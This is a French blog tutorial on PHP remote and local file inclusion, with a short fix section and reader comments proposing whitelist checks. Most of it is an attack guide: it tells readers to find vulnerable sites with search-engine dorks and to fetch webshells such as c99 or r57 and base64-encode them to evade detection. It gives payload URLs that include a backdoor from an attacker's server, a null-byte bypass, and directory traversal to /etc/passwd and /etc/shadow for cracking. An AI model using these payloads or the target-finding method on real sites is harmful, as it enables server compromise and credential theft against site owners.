Juin 26, 2012
15 Min
Moyen

Bonjour les ami(e)s, comme vous pouvez le constater, nous partageons de temps à autre des articles concernant les techniques d’exploitation et protection des failles dans les sites web. Nous avons déjà parlé dans les billets précédents de la faille upload et la faille XSS.


Aujourd’hui je vais vous présenter la faille Include qui est certainement la faille PHP la plus connue dans le monde des sites web, du à une erreur de programmation commise par un développeur peu soucieux en matière de sécurité.

Nous allons voir en détails comment exploiter cette faille et bien sur comment s’en protéger.

Et, non, l’article ne va pas s’autodétruire d’ici 5 secondes :), alors prenez le temps de le lire pour en savoir plus sur la faille Include

La faille Include c’est quoi ?

Cette fonction permet, comme son nom l’indique, d’inclure une page dans une autre , on l’utilise comme ceci :

<?php
include(« page.php »);
?>

Exemple

Si toutes vos pages requièrent la page mysql.php dans laquelle sont contenues les informations de connexion a la base de données, il convient de l’inclure dans chacune de vos pages plutôt que de retaper l’équivalent de mysql.php dans toutes celle-ci.

La fonction include vous permettre de n’avoir qu’une seule page mysql.php, et toutes les pages de votre site l’incluront (le même cas pour le menu, header et le footer)

Comment ça fonctionne ?

Imaginez que nous avons une page index.php avec le code suivant:

<?php
if(isset($_GET[‘page’])) // vérifier si il existe la variable _GET
include($_GET[‘page’]);
else
include(‘default.php’);
?>

Si on tape: http:// index.php?page=astuces.php

Ce bout de code inclura (et exécutera) la page « astuces.php ». Jusqu’ici, rien de bien compliqué.
Maintenant, qu’est ce qu’il va se passer si je tapes l’url suivante:
http://index.php?page=http://www.google.fr
Alors la page Google s’exécutera et s’affichera sur notre serveur !  Imaginez que cette page en question soit une backdoor comme c99.php ! nous pourrons alors lister tous les fichiers, les éditer, en créer, accéder à la base de données, etc…

Comment détecter la présence d’une faille Include ?

Pour détecter une faille include sur un site web, Il suffit de tester tous les paramètres possibles de l’URL et d’observer le résultat. Le but est de faire planter le site web en essayant d’inclure une page qui n’existe pas.
Si une une URL est vulnérable alors nous devons avoir un warning PHP de ce type :

  • Warning:  main([PARAMETRE_INCORRECT]): failed to open stream: No such file or directory in [URL_DE_LA_PAGE].php on line [NUMERO_DE_LIGNE]
  • Warning: main(): Failed opening ‘[PARAMETRE_INCORRECT]’ for inclusion (include_path=’.:/usr/share/php:/usr/share/pear’) in [URL_DE_LA_PAGE].php on line [NUMERO_DE_LIGNE]

Tapez dans le moteur recherche une des deux warning et vous trouverez votre bonheur ! 😀 Vous pouvez toujours essayer mais sachez que c’est illégal !

Comment exploiter cette faille ?

1. La faille include a distance

Tout d’abord nous devons avoir une backdoor près a être employer, pour cela tapez dans google une backdoor précise comme r57, c99, c100 myshell, etc. Il préférable de l’encoder en base64 encoding pour ne pas être détecter.

Nous supposons que nous avons trouvé la faille sur un site, et qu’elle permette l’inclusion de n’importe quelle page. Maintenant, il ne nous reste plus qu’à placer notre backdoor sur notre serveur FTP ou un serveur gratuit n’exécutant pas le PHP.

Quelque soit la solution choisie, nous pouvons donc appeler la page vulnérable de cette manière :
index.php?page=http://notre-serveur.com/backdoor.php
(si elle est sur un serveur FTP, remplacez évidemment http :// par ftp :// et indiquez le login/pass de manière habituelle).

Et nous verrons notre backdoor s’afficher comme suit:

Interface backdoor

Parfois on tombe sur une page vulnérable mais avec un code différent de celui que nous avons vu dans le paragraphe précédent, par exemple :

<?php
if(isset($_GET[‘page’]))
include($_GET[‘page’] . « .php »);
else
include(‘default.php’);
?>

Ici l’extension « .php » est automatiquement rajoutée à la variable. Cela force notre fichier backdoor.php a devenir backdoor.php.php et ça ne va pas s’exécuter sur le serveur vulnérable.

Alors que faire ?

Il existe une solution très simple pour bypasser ce filtre, c’est la technique null byte. Il consiste à placer un zéro ASCII a la fin de notre URL. Il faudra donc inclure :
index.php?page=http://notre-serveur.com/backdoor.txt%00

Une petite explication

La fonction include() va être traitée par une fonction programmée en langage C. Et en C, on désigne la fin d’une chaîne de caractères par un octet null (x00 en notation classique). c’est pour ça notre chaîne de caractère(backdoor.php%00.php) sera tronqué en trouvant le caractère %00 !

2. La faille include en local

Nous n’avons Jusqu’ici cherché qu’à inclure une backdoor a distance. Mais sachez qu’il est tout à fait possible, avec cette faille, d’exécuter un fichier se trouvant sur le serveur vulnérable ! Et d’ailleurs, c’est quelque fois la seule possibilité, car certaines protections désactivent la possibilité d’inclure du code situé sur un autre serveur.

Nous pouvons donc afficher tous les pages a l’intérieur de l’index, de cette manière: http://www.cible.com/index.php?page=/test/test.php
Et comme ça, nous allons pouvoir naviguer dans tout les répertoires du site, voir même du serveur s’il n’est pas chmoder

En pratique, c’est assez simple, en faite nous allons essayer de deviner dans quel répertoire ils se trouvent un fichier intéressant comme htpasswd, en testant successivement des paramètres comme « ../.htpasswd » ou « ../../.htpasswd » ou encore « ../dossier/.htpasswd ».

Ou nous pouvons remonter jusqu’à la racine du serveur puis aller dans le répertoire qui nous intéresse jusqu’à voir un fichier sensible, par exemple :

http://cible.com/index.php?page=../../../../../../../etc/ passwd

Une fois les fichiers de mot de passes récupérés, vous pouvez les crackers avec un programme adéquat comme John The Ripper ou Cain.

Voici d’autre fichiers qui peuvent être intéressant a visiter, même si parfois (comme pour etc/shadow) il n’est accessible que pour l’utilisateur root.

/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user

 

Corriger la faille Include

La meilleure façon pour corriger une include est de :

  • Faire un test pour chaque pages de votre site, certes c’est long mais il n’y a pas mieux à vous de voir après.
if ( $page ==  » astuces ») { include ( » astuces. php ») }
if ( $page ==  » photos ») { include ( » photos. php »)}
.
.
else { include ( » index. php ») }
  • En php4, mettre la commande allow_url_fopen à off. Cette dernier permet la lecture de fichiers situés sur un autre serveur;
  • En php5, mettre la commande allow_url_include à off. C’est un apport par rapport à php4, qui distingue les fichiers lus des fichiers inclus.

Comme dans tous les articles, j’espère que j’ai répondu à vos attentes et que j’ai pu vous apporter quelque chose de nouveau a travers ce billet, j’espère aussi que tous les webmasters ont pris conscience du danger de cette faille, et merci de partager cet article sur Facebook, Twitter ou Google plus pour en profiter pleinement ! 🙂

6 Commentaires

  1. Sadiq Script

    On peux même stocker les noms de nos pages dans une BD et faire des testes a chaque fois qu’on détecte un include d’une page

  2. boubker

    Salut
     Evidemment c’est le bon moyen .
    Sauf au lieu de faire un test pour chaque page , il ya mieu a faire : c’est de stoquer nos pages dans un taleau . et faire la vérification , c’est plus propre :

    $tab_pages = array(‘index’, ‘astuces’ ,’photos’, ‘autres’);
    $page = (isset($_GET[‘page’]))? htmlspecialchars($_GET[‘page’]) :’index’;

    // Tests
    if (!empty($_GET[‘page’]) && in_array($page,$tab_pages))
    {
      include $page.’.php’;
    }else{
      header (‘Refresh:3;URL=./index.php’);
     
      echo ‘erreure , page introuvale’;
    }
     

  3. aaaa

    pour sécuriser la faille c pas ça qui faut faire,imagine que tu as un site très dynamique oui il y’a des centaines de pages en fonction des articles ajouter ce serait impossible de faire ce que tu fais, le mieux serait de scanner toute les pages d un repertoire Puis de faire des conditions

  4. Souhail

    Sympa comme Article…

    Une question, pourquoi y a t il un espace blanc au début de tes valeurs ?

    1if ( $page ==  » astuces ») { include ( » astuces. php ») }
    2if ( $page ==  » photos ») { include ( » photos. php »)}
    3.
    4.5else { include ( » index. php ») }